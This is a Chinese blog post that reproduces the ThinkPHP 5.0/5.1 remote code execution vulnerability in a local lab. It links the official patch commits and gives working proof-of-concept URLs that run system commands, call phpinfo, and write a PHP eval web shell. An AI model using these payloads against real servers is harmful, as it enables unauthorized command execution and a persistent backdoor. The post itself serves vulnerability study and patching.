ThinkPHP 5.x 远程命令执行漏洞复现(GetShell)

注:转载请注明出自:https://blog.csdn.net/qq_36711453/article/details/84977739

一、简介

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

二、修复方案

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

三、相关简介

关键代码:

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。

ThinPHP 5.1代码执行漏洞POC:

命令执行:http://localhost/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

执行phpinfo()函数:

http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写入webshell:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

三、复现过程

docker漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29

本地环境搭建源码:thinkphp5.0.15+php5.6n+ apache2.0

http://www.thinkphp.cn/donate/download/id/1125.html

我这里使用本地环境搭建,在集成环境phpstudy下搭建的。下载本地环境搭建源码,解压到www目录下(注:设置php 版本大于5.6);

目标IP地址:192.168.1.107

安装成功后,访问:http://192.168.1.107/tp5.0.15/public/

出现以上内容,表示安装成功。

  • 执行系统命令

http://192.168.1.107/tp5.0.15/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  • 查看PHP信息

http://192.168.1.107/tp5.0.15/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

  • 写入shell

http://192.168.1.107/tp5.0.15/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php

进入public 目录查看,shell 已经成功写入;

访问之后没有报错,证明shell.php 成功执行。

注:参考自 http://www.cnblogs.com/backlion/p/10106676.html

 

猜你喜欢

转载自blog.csdn.net/qq_36711453/article/details/84977739